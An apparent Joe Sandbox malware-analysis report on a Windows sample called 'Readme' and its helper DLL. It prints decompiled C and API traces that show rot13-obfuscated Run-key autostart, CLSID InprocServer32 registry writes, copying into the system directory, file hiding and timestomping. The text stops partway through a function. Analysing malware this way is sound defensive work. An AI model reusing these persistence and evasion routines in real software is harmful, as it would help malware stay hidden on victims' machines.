Part of subcall function 100024A2: rand.MSVCRT ref: 100025A3
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 100025BE
Part of subcall function 100024A2: srand.MSVCRT ref: 100025C6
Part of subcall function 100024A2: rand.MSVCRT ref: 100025CB
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 100025E6
Part of subcall function 100024A2: srand.MSVCRT ref: 100025EE
Part of subcall function 100024A2: rand.MSVCRT ref: 100025F3
Part of subcall function 100024A2: GetLocalTime.KERNEL32 ref: 10002605
Part of subcall function 100024A2: _itoa.MSVCRT ref: 10002622
Part of subcall function 100024A2: rand.MSVCRT ref: 10002627

Write_REG_SZ.SHERVANS ref: 10002894

Part of subcall function 1000274E: RegOpenKeyExA.ADVAPI32 ref: 1000277E
Part of subcall function 1000274E: RegOpenKeyExA.ADVAPI32 ref: 100027AC
Part of subcall function 1000274E: lstrlen.KERNEL32 ref: 100027BB
Part of subcall function 1000274E: RegSetValueExA.ADVAPI32 ref: 100027E9
Part of subcall function 1000274E: RegCloseKey.ADVAPI32 ref: 100027F7

rot13.SHERVANS ref: 100028AA
add_system_direcroty.SHERVANS ref: 100028C4
filetyt.SHERVANS ref: 100028D2
wsprintfA.USER32 ref: 10002900
CreateFileA.KERNEL32 ref: 10002938
WriteFile.KERNEL32 ref: 1000297F
CloseHandle.KERNEL32 ref: 1000298A
SetFileAttributesA.KERNEL32 ref: 100029A3

Strings

$Q, xrefs: 100028EF
.exe, xrefs: 10002870

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: rand$CountTicksrand$Open$CloseFile$LocalTimeValuerot13$AttributesCreateGet_HandleQueryReg_WriteWrite__itoaadd_system_direcrotyfiletytlstrlenrot13csss_ranswsprintf
String ID: $Q$.exe
API String ID: 3664041036-2176984968
Opcode ID: a37179b7d86f74b0afe13922868ee2735db9cbba5f7cdb66fd29f48c1d164eaa
Instruction ID: 6304da7cd2528330332a3f5809cdbcaba00ebaed1578c57c0e7df17c251e0487
Opcode Fuzzy Hash: a37179b7d86f74b0afe13922868ee2735db9cbba5f7cdb66fd29f48c1d164eaa
Instruction Fuzzy Hash: CF417CB84087459BE700EF64C58535EBBF4EF84390F50896CE4995B386D7B99A88CF83

Uniqueness

Uniqueness Score: -1.00%

Function 10002A60 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 62
sleepprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rot13.SHERVANS ref: 10002A7C

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 10002A96

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

rot13.SHERVANS ref: 10002AA6
add_system_direcroty.SHERVANS ref: 10002AC0
Sleep.KERNEL32 ref: 10002AD8
memset.MSVCRT ref: 10002AF3
CreateProcessA.KERNEL32 ref: 10002B5E
CopyFileA.KERNEL32 ref: 10002B83

Strings

Q, xrefs: 10002A9B
D, xrefs: 10002AE0
D, xrefs: 10002AF8

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: add_system_direcrotylstrcatmemsetrot13$CopyCreateDirectoryFileProcessSleepSystemlstrlenrot13c
String ID: D$D$Q
API String ID: 4246308054-1586927259
Opcode ID: 8626d89cb3255881e73716c3260a54c89da476df512f70a198ef19893bc3a0c4
Instruction ID: 487f3aaf9e3853622048ce0787bcf5f21f0a9e41bca69b1cddbbffefc67ddced
Opcode Fuzzy Hash: 8626d89cb3255881e73716c3260a54c89da476df512f70a198ef19893bc3a0c4
Instruction Fuzzy Hash: E731F9B48093159AE710DF20C98539FBBF4FF44794F40885DE88857245E7BAA688CF83

Uniqueness

Uniqueness Score: -1.00%

Function 004054F2 Relevance: 18.1, APIs: 12, Instructions: 107
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32 ref: 00405531

Part of subcall function 00404F82: GetLocalTime.KERNEL32 ref: 00404FD9
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00404FE1
Part of subcall function 00404F82: srand.MSVCRT ref: 00404FE9
Part of subcall function 00404F82: rand.MSVCRT ref: 00404FF2
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00404FF9
Part of subcall function 00404F82: srand.MSVCRT ref: 00405001
Part of subcall function 00404F82: rand.MSVCRT ref: 0040500D
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00405026
Part of subcall function 00404F82: srand.MSVCRT ref: 0040502E
Part of subcall function 00404F82: rand.MSVCRT ref: 00405033
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 0040504E
Part of subcall function 00404F82: srand.MSVCRT ref: 00405056
Part of subcall function 00404F82: rand.MSVCRT ref: 0040505B
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00405076
Part of subcall function 00404F82: srand.MSVCRT ref: 0040507E
Part of subcall function 00404F82: rand.MSVCRT ref: 00405083
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 0040509E
Part of subcall function 00404F82: srand.MSVCRT ref: 004050A6
Part of subcall function 00404F82: rand.MSVCRT ref: 004050AB
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 004050C6
Part of subcall function 00404F82: srand.MSVCRT ref: 004050CE
Part of subcall function 00404F82: rand.MSVCRT ref: 004050D3
Part of subcall function 00404F82: GetLocalTime.KERNEL32 ref: 004050E5
Part of subcall function 00404F82: _itoa.MSVCRT ref: 00405102
Part of subcall function 00404F82: rand.MSVCRT ref: 00405107

SetFilePointer.KERNEL32 ref: 00405574
WriteFile.KERNEL32 ref: 0040559A
Sleep.KERNEL32 ref: 004055A9

Part of subcall function 00404F82: rand.MSVCRT ref: 0040513A
Part of subcall function 00404F82: rand.MSVCRT ref: 00405168
Part of subcall function 00404F82: rand.MSVCRT ref: 00405196
Part of subcall function 00404F82: rand.MSVCRT ref: 004051C0
Part of subcall function 00404F82: rand.MSVCRT ref: 004051EF

SetFilePointer.KERNEL32 ref: 004055D4
WriteFile.KERNEL32 ref: 004055FA
Sleep.KERNEL32 ref: 00405609
SetFilePointer.KERNEL32 ref: 00405634
WriteFile.KERNEL32 ref: 0040565A
SetFilePointer.KERNEL32 ref: 0040567D
WriteFile.KERNEL32 ref: 004056AF
CloseHandle.KERNEL32 ref: 004056C0

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: rand$File$CountTicksrand$PointerWrite$LocalSleepTime$CloseCreateHandle_itoa
String ID:
API String ID: 3159365393-0
Opcode ID: de0745b6355624464966b3122e120d1e1f8d0595332210ddc19a5d1648e15264
Instruction ID: 8e21804255f859d75eeaefc39514b6d8a1434258e14ca154f06cca4555a00953
Opcode Fuzzy Hash: de0745b6355624464966b3122e120d1e1f8d0595332210ddc19a5d1648e15264
Instruction Fuzzy Hash: 0341A5B14087019AD700BF29C19935FBFF4BB84358F51892EE8986B282D7798249CF97

Uniqueness

Uniqueness Score: -1.00%

Function 1000237F Relevance: 13.6, APIs: 9, Instructions: 63
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rot13.SHERVANS ref: 1000239A

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 100023B4

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

rot13.SHERVANS ref: 100023CA
rot13.SHERVANS ref: 100023E0
RegOpenKeyExA.ADVAPI32 ref: 1000240A
RegOpenKeyExA.ADVAPI32 ref: 1000243B
lstrlen.KERNEL32 ref: 10002450
RegSetValueExA.ADVAPI32 ref: 10002484
RegCloseKey.ADVAPI32 ref: 10002495

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: rot13$Openlstrcatlstrlen$CloseDirectorySystemValueadd_system_direcrotymemsetrot13c
String ID:
API String ID: 2120556822-0
Opcode ID: 438b2a9e79fb397ef7d0b9817d5b90411af66317ef6a23131a517141560c654b
Instruction ID: bdddcc0189fc53d49cb0cefcea4d87ad964771471e55bb7797a486d5498b6d1c
Opcode Fuzzy Hash: 438b2a9e79fb397ef7d0b9817d5b90411af66317ef6a23131a517141560c654b
Instruction Fuzzy Hash: 6D31D7B48083159FE710EF64C98579EFBF4EF45384F40896DE88883246E7759A888F42

Uniqueness

Uniqueness Score: -1.00%

Function 00405776 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00405796
CreateProcessA.KERNEL32 ref: 004057F8
WaitForSingleObject.KERNEL32 ref: 0040581D
CloseHandle.KERNEL32 ref: 0040582B
CloseHandle.KERNEL32 ref: 00405839

Strings

D, xrefs: 00405783
D, xrefs: 0040579B

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWaitmemset
String ID: D$D
API String ID: 1209732917-143366177
Opcode ID: e2f293ddd65cc38ae5e984d70982910eef1ea10c3a02e6e8841cc2a871050653
Instruction ID: a424a9ca423c88ebceb4bf93d4a85606f6dbc14dab7ded7620f51e0c80248426
Opcode Fuzzy Hash: e2f293ddd65cc38ae5e984d70982910eef1ea10c3a02e6e8841cc2a871050653
Instruction Fuzzy Hash: 1D11A4B0904305DBEB00EF69C58935EBBF0BB44318F008A2DE894AB281D3799588CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

CreateFileA.KERNEL32 ref: 00405E5E
ExitProcess.KERNEL32 ref: 00405E7E
CloseHandle.KERNEL32 ref: 00405E9E

Strings

pgszra.rkr, xrefs: 00405DCF, 00405E15
user32.dll, xrefs: 00405EB4
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha, xrefs: 00405DFF

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: lstrcat$CloseCreateDirectoryExitFileHandleProcessSystemlstrlenmemset
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha$pgszra.rkr$user32.dll
API String ID: 1778546552-2563098034
Opcode ID: d7d64c2d6549dae37b7de272fb7fced938c3fb5e6f3e1c4ca9f739a992c91a64
Instruction ID: 8ce02ae271826c0af2d77be6dc83fb0dca404b62b159729ddab96385648218ed
Opcode Fuzzy Hash: d7d64c2d6549dae37b7de272fb7fced938c3fb5e6f3e1c4ca9f739a992c91a64
Instruction Fuzzy Hash: F3212AB08097049AD710BF21C58538EBBF4AF84358F41897EE9C867281D7BD858C8F96

Uniqueness

Uniqueness Score: -1.00%

Function 00403F24 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E00403F24(int _a4) {
				void* _v12;
				char _v140;
				void* _v144;
				void* _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				int _v196;
				int _v200;
				int _v204;
				long _t28;
				char* _t36;
				int _t37;
				int _t38;
				void* _t39;
				void* _t41;
				intOrPtr* _t42;

				_t38 = _a4;
				_v200 = "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32";
				_t36 =  &_v140;
				_v204 = _t36;
				E00404C38();
				_t28 = RegOpenKeyExA(0x80000000, _t36, 0, 0x20006,  &_v144); // executed
				_t41 = _t39 - 0xac;
				if(_t28 == 0) {
					L2:
					_v204 = _t38;
					L0040C310();
					_t42 = _t41 - 4;
					_v188 = _t28 + 1;
					_v192 = _t38;
					_v196 = 1;
					_v200 = 0;
					_v204 = 0;
					 *_t42 = _v144; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t42 - 0x18)) = _v144;
					RegCloseKey(??);
					_t37 = 1;
				} else {
					_t28 = RegCreateKeyExA(0x80000000, _t36, 0, 0, 0, 0x20006, 0,  &_v144, 0); // executed
					_t41 = _t41 - 0x24;
					_t37 = 0;
					if(_t28 == 0) {
						goto L2;
					}
				}
				return _t37;
			}

0x00403f2f
0x00403f32
0x00403f3a
0x00403f40
0x00403f43
0x00403f6d
0x00403f72
0x00403f77
0x00403fcf
0x00403fcf
0x00403fd2
0x00403fd7
0x00403fdb
0x00403fdf
0x00403fe3
0x00403feb
0x00403ff3
0x00404001
0x00404004
0x00404012
0x00404015
0x0040401d
0x00403f79
0x00403fbe
0x00403fc3
0x00403fc6
0x00403fcd
0x00000000
0x00000000
0x00403fcd
0x0040402a

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403F6D
RegCreateKeyExA.ADVAPI32 ref: 00403FBE
lstrlen.KERNEL32 ref: 00403FD2
RegSetValueExA.ADVAPI32 ref: 00404004
RegCloseKey.ADVAPI32 ref: 00404015

Strings

PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32, xrefs: 00403F32

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: CloseCreateOpenValuelstrlen
String ID: PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32
API String ID: 2036214137-2655177054
Opcode ID: 2297313f48ad8b5e75c594d751e4000a98a3ca6776ebaf8159479c7c2d1928ac
Instruction ID: 019c3a761b18c338743e8a7ff589e139028416f66cb1f4fe329e007e5a71a312
Opcode Fuzzy Hash: 2297313f48ad8b5e75c594d751e4000a98a3ca6776ebaf8159479c7c2d1928ac
Instruction Fuzzy Hash: FB21E6B08083159BE710EF25C58535ABBF4BB84348F00896EE88897281E77996488F92

Uniqueness

Uniqueness Score: -1.00%

Function 10002C6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rot13.SHERVANS ref: 10002C88

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

add_system_direcroty.SHERVANS ref: 10002CA2

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

rot13.SHERVANS ref: 10002CB2
add_system_direcroty.SHERVANS ref: 10002CCC
CopyFileA.KERNEL32 ref: 10002CE0

Strings

Q, xrefs: 10002CA7

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: add_system_direcrotylstrcatrot13$CopyDirectoryFileSystemlstrlenmemsetrot13c
String ID: Q
API String ID: 3463403391-744326856
Opcode ID: 73894abf71014c9d91d8b117a35c23b4b992c917c2b5516e74d8d34c4059fe76
Instruction ID: 7dd5af438896393a7b97c0d8831b646f0bd0cf5f1eb72a97525d081a71af1fe0
Opcode Fuzzy Hash: 73894abf71014c9d91d8b117a35c23b4b992c917c2b5516e74d8d34c4059fe76
Instruction Fuzzy Hash: 450119B4408715AAD700EF61D9C529EFFB4EF44790F41885DE88847206D775A688CB83

Uniqueness

Uniqueness Score: -1.00%

Function 0040435C Relevance: 9.1, APIs: 6, Instructions: 71filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
GetFileTime.KERNEL32 ref: 004043CD
CloseHandle.KERNEL32 ref: 004043E5
CreateFileA.KERNEL32 ref: 00404423
SetFileTime.KERNEL32 ref: 00404453
CloseHandle.KERNEL32 ref: 00404467

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: d53e2d7dcfffd8f13f9bdb4c7b018601c53aa096df535a78fcbe3ea045a6c83a
Instruction ID: 821c52c15d2594163c2509e09139001ce0ed311c0e70272f4ce7e626a9184330
Opcode Fuzzy Hash: d53e2d7dcfffd8f13f9bdb4c7b018601c53aa096df535a78fcbe3ea045a6c83a
Instruction Fuzzy Hash: B0210AB09083019BE700EF39C59535BBFE4AB84358F008A3DE994973D2E779C648CB96

Uniqueness

Uniqueness Score: -1.00%

Function 10002278 Relevance: 9.1, APIs: 6, Instructions: 59
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E10002278(int _a4) {
				void* _v12;
				char _v140;
				void* _v144;
				void* _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				int _v196;
				int _v200;
				int _v204;
				long _t28;
				char* _t36;
				int _t37;
				int _t38;
				void* _t39;
				void* _t41;
				intOrPtr* _t42;

				_t38 = _a4;
				_v200 = "PYFVQ\\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\\VacebpFreire32";
				_t36 =  &_v140;
				_v204 = _t36;
				E10001F26();
				_t28 = RegOpenKeyExA(0x80000000, _t36, 0, 0x20006,  &_v144); // executed
				_t41 = _t39 - 0xac;
				if(_t28 == 0) {
					L2:
					_v204 = _t38;
					L10003570();
					_t42 = _t41 - 4;
					_v188 = _t28 + 1;
					_v192 = _t38;
					_v196 = 1;
					_v200 = 0;
					_v204 = 0;
					 *_t42 = _v144; // executed
					RegSetValueExA(??, ??, ??, ??, ??, ??); // executed
					 *((intOrPtr*)(_t42 - 0x18)) = _v144; // executed
					RegCloseKey(??); // executed
					_t37 = 1;
				} else {
					_t28 = RegCreateKeyExA(0x80000000, _t36, 0, 0, 0, 0x20006, 0,  &_v144, 0);
					_t41 = _t41 - 0x24;
					_t37 = 0;
					if(_t28 == 0) {
						goto L2;
					}
				}
				return _t37;
			}

0x10002283
0x10002286
0x1000228e
0x10002294
0x10002297
0x100022c1
0x100022c6
0x100022cb
0x10002323
0x10002323
0x10002326
0x1000232b
0x1000232f
0x10002333
0x10002337
0x1000233f
0x10002347
0x10002355
0x10002358
0x10002366
0x10002369
0x10002371
0x100022cd
0x10002312
0x10002317
0x1000231a
0x10002321
0x00000000
0x00000000
0x10002321
0x1000237e

APIs

rot13.SHERVANS ref: 10002297

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

RegOpenKeyExA.ADVAPI32 ref: 100022C1
RegCreateKeyExA.ADVAPI32 ref: 10002312
lstrlen.KERNEL32 ref: 10002326
RegSetValueExA.ADVAPI32 ref: 10002358
RegCloseKey.ADVAPI32 ref: 10002369

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: CloseCreateOpenValuelstrlenrot13rot13c
String ID:
API String ID: 327323149-0
Opcode ID: 59e43c6821ea99cefc5617d5e071f6ef7f515ecb0e1053861fa941e5bf295870
Instruction ID: 0f2e1fea51bb9d7b4591eaea7ef700760b1debe67a353b116e3d9409648ad131
Opcode Fuzzy Hash: 59e43c6821ea99cefc5617d5e071f6ef7f515ecb0e1053861fa941e5bf295870
Instruction Fuzzy Hash: 2F21D8B48083159BE710EF25D54574FBBF8FB44394F40C96DE88887245E77996488F92

Uniqueness

Uniqueness Score: -1.00%

Function 00403D26 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00403D7B
RegCloseKey.ADVAPI32 ref: 00403D90
RegCreateKeyExA.ADVAPI32 ref: 00403E00
RegCloseKey.ADVAPI32 ref: 00403E15

Strings

Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00403D30

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Close$CreateOpen
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba
API String ID: 1299239824-3858799484
Opcode ID: 48896b124bd474820f71979e4f946ad337c52b0363e5182aa0eb181ed28b56a5
Instruction ID: 372c3b0a06c6ee96941f7226abfc86991cfccc6d41bd2ee5df839bccf0e05334
Opcode Fuzzy Hash: 48896b124bd474820f71979e4f946ad337c52b0363e5182aa0eb181ed28b56a5
Instruction Fuzzy Hash: 502131B0914315CEE710EF35C58579ABBF8BB44308F408A7EE484E7281E779C6888F52

Uniqueness

Uniqueness Score: -1.00%

Function 10002EC6 Relevance: 7.6, APIs: 5, Instructions: 56
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10002EC6(intOrPtr _a4, intOrPtr _a8) {
				char _v8;
